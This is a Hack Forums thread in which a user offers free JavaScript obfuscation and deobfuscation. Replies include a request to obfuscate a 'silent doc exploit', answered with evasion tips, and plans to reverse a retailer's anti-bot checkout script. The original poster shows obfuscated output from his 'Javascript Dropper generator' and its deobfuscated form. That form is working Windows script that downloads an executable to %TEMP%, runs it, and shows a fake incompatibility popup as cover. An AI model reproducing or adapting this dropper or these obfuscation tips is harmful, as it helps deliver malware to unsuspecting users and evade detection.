

Forum:[Hack Forums](#)

Thread: [Free Obfuscation Service!](#)

speckled_eggz - January 14, 2018, 3:25 pm

Hey Hackforums,

I've been working on a lot of Javascript obfuscation and mostly things involving obfuscated Javascript recently.

I've decided that I'd provide a free Javascript obfuscation service to help grow my reputation on the forums!

If you'd like to submit a sample for me to obfuscate, feel free (does not have to be a sample. can be some of your programs!).

Format:

Code Code type (Javascript or HTML):

Code:

Why is it being obfuscated (I really don't care why. Just to satisfy my curiosity):

I can also deobfuscate scripts if you'd like.

I will post the obfuscated code on the thread. Keep in mind I will snip parts out. You can include a note not to post the obfuscated code if you like.

If you don't want your code public, PM me!

speckled_eggz - January 15, 2018, 9:29 am

(Jan 15, 2018 02:16 AM)php Wrote: [\[CITE\]](#) I need to get this script deobfuscated but it's too long to post here so I've linked it below to a Pastebin URL.

<https://pastebin.com/B7REXXhH>

I'm starting on it now!

(Jan 15, 2018 10:29 AM)speckled_eggz Wrote: [\[CITE\]](#) I'm starting on it now!

Note:

The scripts antidebugging interferes with whatever it does:

- due to antidebugging, the script doesn't actually run
- The script contains strings such as:
 - "constructor", etc
- Looks like it was packed with the "Heroku Javascript Obfuscator"

Console logs before completion (I used Chrome dev console for debugging):

<https://pastebin.com/i65vvbcp>

Extracted: "Hello World!" !

Make sure to post your samples everyone!

shadowkk2 - December 14, 2018, 10:09 am

(Jan 14, 2018 04:25 PM)speckled_eggz Wrote: [\[CITE\]](#) Hey Hackforums,

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I've decided that I'd provide a free Javascript obfuscation service to help grow my reputation on the forums!

If you don't want your code public, PM me!

Hey G, read ur post on Javascript so I was wondering if you know about python code obfuscation? I have this silent doc exploit that I need to obfuscate, would u mind sharing guidelines or tips on how to go about it. When its done I can be exploiting your files for u anytime. Thanks

PerfectStorm - December 14, 2018, 10:11 am

Anyone have good results yet ?

thanks OP for offering.

speckled_eggz - December 15, 2018, 2:20 pm

(Dec 14, 2018 11:09 AM)shadowkk2 Wrote: [\[CITE\]](#) Hey G, read ur post on Javascript so I was wondering if you know about python code obfuscation? I have this silent doc exploit that I need to obfuscate, would u mind sharing guidelines or tips on how to go about it. When its done I can be exploiting your files for u anytime. Thanks

I haven't ever delved in to Python obfuscation, but I can assume that when you do it you should:

- + Use weird combinations of character escape sequences
- + Obfuscate your control flow through a lot of pointless functions
- + Keep your strings split up through multiple hard-to-follow variables

I don't know about your doc exploit obfuscation but that's what I suggest for your Python obfuscation

(Dec 14, 2018 11:11 AM)PerfectStorm Wrote: [\[CITE\]](#) Anyone have good results yet ?

thanks OP for offering.

No problem ;).

HMU If you want a sample for yourself

Nobelium Uranium - December 15, 2018, 3:16 pm

<https://assets.supremenewyork.com/assets/pooky.min.dbfb2bd390cbcd849349.js>

You should try that

speckled_eggz - December 15, 2018, 6:20 pm

(Dec 15, 2018 04:16 PM)\$upreme Wrote: [\[CITE\]](#)

<https://assets.supremenewyork.com/assets/pooky.min.dbfb2bd390cbcd849349.js>

You should try that

Started, will finish later this morning or tomorrow night, Jscrambler is very powerful indeed.

I found some strings like "setOffset", "width", "left", etc.

EDIT: Forgot to add their way of accessing Window, at least for me, is very "pretty ugly" and I will make sure to utilize it myself;

```
"typeof window === typeof {} ? window : typeof global === typeof {} ? global : this"
```

EDIT #2: Also forgot to add anti-debugging is pretty garbage in my opinion..

Nobelium Uranium - December 16, 2018, 11:38 am

(Dec 15, 2018 07:20 PM)speckled_eggz Wrote: [\[CITE\]](#) Started, will finish later this morning or tomorrow night, Jscrambler is very powerful indeed.

I found some strings like "setOffset", "width", "left", etc.

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```
"typeof window === typeof {} ? window : typeof global === typeof {} ? global : this"
```

EDIT #2: Also forgot to add anti-debugging is pretty garbage in my opinion..

That is Supreme's antibot script if you didn't know, so it should contain many things relating to that. Things that should be contained are a minimum time it takes for a user to click the checkout button and checking for autofill on the credit card section. That's 2 things I can think of off the top of my head, never tried reversing it myself just went off what other bot providers said.

speckled_eggz - December 17, 2018, 12:14 pm

(Dec 16, 2018 12:38 PM)\$supreme Wrote: [\[CITE\]](#) That is Supreme's antibot script if you didn't know, so it should contain many things relating to that. Things that should be contained are a minimum time it takes for a user to click the checkout button and checking for autofill on the credit card section. That's 2 things I can think of off the top of my head, never tried reversing it myself just went off what other bot providers said.

Going to take a while to deobfuscate this.. Jscrambler is an automated enterprise solution whereas I am me.. will hit you up when I get some results

speckled_eggz - December 19, 2018, 12:40 pm

Want to keep you updated, I am still working on it, but it's taking a long time. Jscrambler has all sorts of things that make it so difficult to deobfuscate, not to mention the absolutely huge file size.

Also, submissions for me to OBFUSCATE, not just deobfuscate are available at your request.

S2K - December 20, 2018, 12:03 am

(Dec 19, 2018 01:40 PM)speckled_eggz Wrote: [\[CITE\]](#) Want to keep you updated, I am still working

on it, but it's taking a long time. Jscrambler has all sorts of things that make it so difficult to deobfuscate, not to mention the absolutely huge file size.

Also, submissions for me to OBFUSCATE, not just deobfuscate are available at your request. Can you share some examples of code which you deobfuscated? I wonder What they looks like

speckled_eggz - December 20, 2018, 3:38 pm

(Dec 20, 2018 01:03 AM)Ms-DOs Wrote: [CITEI](#) Can you share some examples of code which you deobfuscated? I wonder What they looks like

I don't store deobfuscated code but in the past I've deobfuscated EK landing pages etc.

Obfuscated code (from my Javascript Dropper generator) could look like this:

Code var

```
K4IW425YOLI7T6Joxk7YbVXZAXa6YPwGvenxpvP10PJaqnDWZnPd4ddf7eTdW61DTCdbb3OQn3
a1lfKS8nqY5hP7Ukgv6LG3obhzktfXutOTPMsrwWRfJxrscVg=function(){var
ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54
YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU="{for(var
poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2VmJGLMWRlojLAXGirB9VZbBBZWBNFcZybOrn
XNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6GaDLPVfy=(351248789039950700000-35124
8789039950700000);poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2VmJGLMWRlojLAXGirB9V
ZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6GaDLPVfy<(841611800
798395600000+5-841611800798395600000);poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2V
mJGLMWRlojLAXGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6
GaDLPVfy++)ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjr
NkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+="-"+((Math[["raivibaa
vibnaivibdaiviboaivibm"][(38424925.[["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](34))])("aivib")[(775155.[["t"+"o
"+"S"+"t"+"r"+"i"+"n"+"g"]](34))])("")]()*98741)[["tRmGMZorMGMZSRmGMZtRmGMZrMGMZiRm
GMZnRmGMZg"][(43115759.[["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](35))])("RmGMZ")[(844678.[["t"+"o"+"
S"+"t"+"r"+"i"+"n"+"g"]](35))])(""])(758902943999115500000+32-758902943999115500000))[(["tkw
vKUokwvKUUkwvKUpkwvKUpkwvKUekwvKURkwvKUCkwvKUakwvKUskwvKUe"][(43115759.[["t"+"
o"+"S"+"t"+"r"+"i"+"n"+"g"]](35))])("kwvKU")[(844678.[["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](35))])(""])(;r
eturn
ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54
YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+"-"};var
YT2P03ZSFF7HzfBPgVyd56fR2B0ZfLSbwwNcqyk2xHgETt5wVYnZCIXvc7ecObSZkHRWEf5graOe
D0tMz44IzzZw6Dk22HZv9dkQRCIYvjoa0DvGJAGxXN5SDEJe=new
ActiveXObject(["MZzsqsGSZzsqsGXZzsqsGMZzsqsGLZzsqsG2ZzsqsG.ZzsqsGXZzsqsGMZzsqsGLZzsqsGH
ZzsqsGTZzsqsGTZzsqsGP"][(43115759.[["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](35))])("ZzsqsG")[(775155.[["t
"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](34))])(""]);var
XcdW8T9SFtaq85qb2I8DRObN6Ta0HhXxzUZaxZe5XnoA8OuaafADZKTApscqlXEzFNHdJkzmFHN
5AcqKdTHvm1NgwY4msFea1Dk4Q5bKA8jJcgbH5vFUclvaOIEs=("hOebLXtOebLXtOebLXpOebL
XsOebLX:OebLX/OebLX/OebLXbOebLXuOebLXiOebLXIOebLXdOebLX.OebLXoOebLXpOebLX
eOebLXnOebLXvOebLXpOebLXnOebLX.OebLXnOebLXeOebLXtOebLX/OebLXdOebLXoOebL
XwOebLXnOebLXIOebLXoOebLXaOebLXdOebLXsOebLX/OebLXrOebLXeOebLXIOebLXeOebL
XaOebLXsOebLXeOebLXsOebLX/OebLXtOebLXaOebLXpOebLX-OebLXwOebLXiOebLXnOebL
XdOebLXoOebLXwOebLXsOebLX-OebLX9OebLX.OebLX2OebLX1OebLX.OebLX1OebLX.Oeb
LXeOebLXxOebLXe")[(30201437.[["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"]](32))])("OebLX")[(918239.[["t"+"
o"+"S"+"t"+"r"+"i"+"n"+"g"]](36))])(""]);function
jHy2VxmP5xn4ERvp5S4P36py9GDmOz3igmisXQRVsWkt6dYv36QauC31FYdagOppcbBgwdyZrNj
cvO19GmsclI7HpuqOXV1u7XguydAAyqWrdrITPcfsInGx2TIF(){var
JmpvxuYj2NrwndjnfCWxy74eecdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvU
B6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R=new
```

The deobfuscated version would be related to this (altered of course):

```
Code a = new ActiveXObject('MSXML2.XMLHTTP');  
b = 'https://build.openvpn.net/downloads/releases/tap-windows-9.9.2_3.exe';
```

S2K - December 20, 2018, 11:01 pm
(Dec 20, 2018 04:38 PM)speckled_eggz Wrote: [\[CITE\]](#) I don't store deobfuscated code but in the past I've deobfuscated EK landing pages etc.

```
Code var
K4IW425YOLi7T6Joxk7YbVXZAXa6YPwGvenxpvP10PJaqnDWZnPd4ddf7eTdW61DTCdbb3OQn3
a1IfKS8nqY5hP7Ukgv6LG3obhzktfXutOTPMsRwWRfJxrxCVg=function(){var
ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfyfn3kQd9gOjrNkW91eLTR54
YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU="{",for(var
poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2VmJGLMWRlojLaxGirB9VZbBBZWBNFcZybOrn
XNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6GaDLPVfy=(351248789039950700000-35124
8789039950700000);poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2VmJGLMWRlojLaxGirB9V
ZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6GaDLPVfy<(841611800
798395600000+5-841611800798395600000);poK283GrpqymIj9BiVRVsn5OjWpTCNBhMPsEuR2V
mJGLMWRlojLaxGirB9VZbBBZWBNFcZybOrnXNjBep3Fp2UO0iqUBH1eDk8fF9X1UuIsIWFT8oY6
```

GaDLPVVfy++)ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjr
NkW91eLTR54YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+=-"}+((Math[("raivibaai
vibnaivibdaiviboaivibm"[(("t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(34))])("aivib")[(("775155.["t"+"o
"+"S"+"t"+"r"+"i"+"n"+"g"))(34))])("")](("*98741)[("tRmGMZoSrMGMZSRmGMZtRmGMZrRmGMZiRm
GMZnRmGMZg"[(("43115759.["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(35))])("RmGMZ")[(("844678.["t"+"o"+"
S"+"t"+"r"+"i"+"n"+"g"))(35))])(""])[((758902943999115500000+32-758902943999115500000))][("tkw
vKUokwvKUukwvKUpkwvKUqkwvKUekwvKURkwvKUCkwvKUakwvKUskwvKUe"[(("43115759.["t"+"
o"+"S"+"t"+"r"+"i"+"n"+"g"))(35))])("kwvKU")[(("844678.["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(35))])(""])(0);r
eturn
ktDTqDj9Gck3Qv1yy2BBrdU2W1ZAeTRjhlrJXmi3j4JJn6GNcWRTAFfYfn3kQd9gOjrNkW91eLTR54
YDLP12qObgLzL4qsVztAm8H2Jiho8HA462cPU2j5ZM8ZGU+=-"};var
YT2P03ZSFF7HzfBPgVyd56fR2B0ZfLSbwvNcqyk2xHgETt5wVYnZClxvc7ecObSZkHRWEf5graOe
D0tMz44lzzZw6Dk22HZv9dkQRCiYvjoa0DvGJAGxXN5SDEJe=new
ActiveXObject(("MZsqGSZsqGXZsqGMZsqGLZsqG2ZsqG.ZsqGXZsqGMZsqGLZsqGH
ZsqGTZsqGTZsqGP"[(("43115759.["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(35))])("ZsqG")[(("775155.["t"
+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(34))])(""));var
XcdW8T9SFtaq85qb2I8DRObN6Ta0HhXxzUZaxZe5XnoA8OuaafADZKTApscqlXEzFNHDJkzmFHN
5AcqKdTHvm1NgwY4msFea1Dk4Q5bKA8jJcgbH5vFUclvaOIEs=("hOEbLXtOEbLXtOEbLXpOEbL
XsOEbLX:OEbLX/OEbLX/OEbLXbOEbLXuOEbLXiOEbLXIOEbLXdOEbLX.OEbLXoOEbLXpOEbLX
eOEbLXnOEbLXvOEbLXpOEbLXnOEbLX.OEbLXnOEbLXeOEbLXtOEbLX/OEbLXdOEbLXoOEbL
XwOEbLXnOEbLXIOEbLXoOEbLXaOEbLXdOEbLXsOEbLX/OEbLXrOEbLXeOEbLXIOEbLXeOEbL
XaOEbLXsOEbLXeOEbLXsOEbLX/OEbLXtOEbLXaOEbLXpOEbLX-OEbLXwOEbLXiOEbLXnOEbL
XdOEbLXoOEbLXwOEbLXsOEbLX-OEbLX9OEbLX.OEbLX2OEbLX1OEbLX.OEbLX1OEbLX.OEb
LXeOEbLXxOEbLXe"[(("30201437.["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(32))])("OEbLX")[(("918239.["t"+"
o"+"S"+"t"+"r"+"i"+"n"+"g"))(36))])(""));function
jHy2VxmP5xn4ERvp5S4P36py9GDmOz3igmisXQRVsWkt6dYv36QauC31FYdagOppcbBgwdyZrNj
cvO19GmsclI7HpuqOXV1u7XguydAAyqWrdrITPcfslnGx2TIF){var
JmpvxuYj2NrwndjnfCWxy74eecdquANuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvU
B6W2xUH7exketf0nsrJ54NBcigcy07sB75G9NT8cDXTMFe9R=new
ActiveXObject(("WNSdCVSNSdCVcNSdCVrNSdCViNSdCVpNSdCVtNSdCV.NSdCVSNSdCVhNSd
CVeNSdCVINSdCVI"[(("48223541.["t"+"o"+"S"+"t"+"r"+"i"+"n"+"g"))(36))])("NSdCV")[(("709556.["t"+"
o"+"S"+"t"+"r"+"i"+"n"+"g"))(33))])(""));var
oJ8hR7QF7yZDuWC2MRsv8o67P93DY4igzjySHpsSyJdyVeXQY4GR7IU2YQPfrcRJKJTXHtIBW1W
uUlis9EldyCCdp6ORaxzx6lkuUlki63mZy8BvHbk2U7V4BxEk=JmpvxuYj2NrwndjnfCWxy74eecdquA
NuCBuvNZFAEmMfjOJT4JogZMvYTN15RoVVdxsoQPHaEvUB6W2xUH7exketf0nsrJ54NBcigcy07s
B75G9NT8cDXTMFe9R[("EeTlynxeTlynpeTlynaeTlynneTlyndeTI-snip-

The deobfuscated version would be related to this (altered of course):

```
Code a = new ActiveXObject('MSXML2.XMLHTTP');  
b = 'https://build.openvpn.net/downloads/releases/tap-windows-9.9.2_3.exe';
```

```
function dl() {  
    var fileloc = WScript.Shell.ExpandEnvironmentStrings('%TEMP%') + '\\' + (function() {  
        r = '';  
        for (i = 0; i < 5; ++i) r += '-' + ((Math.random() * 98741)  
            .toString(32))  
            .toUpperCase();  
        return r + '-'}  
    }) + '.exe';  
    a.open('GET', b, false);  
    a.send();  
    if (aXobj['status'] == 200) {
```

```
aXStream = new ActiveXObject('ADODB.Stream');
aXStream.open();
aXStream.type = 1;
aXStream.write(a.ResponseBody);
aXStream.position = 0;
aXStream.saveToFile(fileloc, 2);
aXStream.close();
WScript.Shell.run(fileloc, 1, 0)
}
WScript.Shell.popup('This 16 bit application is incompatible with your version of Windows.', 0,
'Unsupported Application', 48)
}oh shit, I'm js developer so how will I protect my code now
```

speckled_eggz - December 21, 2018, 2:17 pm

(Dec 21, 2018 12:01 AM)Ms-DOs Wrote: [\[CITE\]](#) oh shit, I'm js developer so how will I protect my code now

If your code is server side and not accessible by the client, it's fine. Other than that, it's always accessible.

S2K - December 21, 2018, 2:20 pm

(Dec 21, 2018 03:17 PM)speckled_eggz Wrote: [\[CITE\]](#) If your code is server side and not accessible by the client, it's fine. Other than that, it's always accessible.

Of course I@m aware of that/ I just don@t want to people can read and see what my codes do actually

??????????Michael Kors - December 21, 2018, 2:20 pm

Thank you for contributing for the community, it's really aprecciated.

speckled_eggz - December 21, 2018, 2:27 pm

(Dec 21, 2018 03:20 PM)Ms-DOs Wrote: [\[CITE\]](#) Of course I@m aware of that/ I just don@t want to people can read and see what my codes do actuallyYour code running in what context?

(Dec 21, 2018 03:20 PM)Mocca Wrote: [\[CITE\]](#) Thank you for contributing for the community, it's really aprecciated.

<3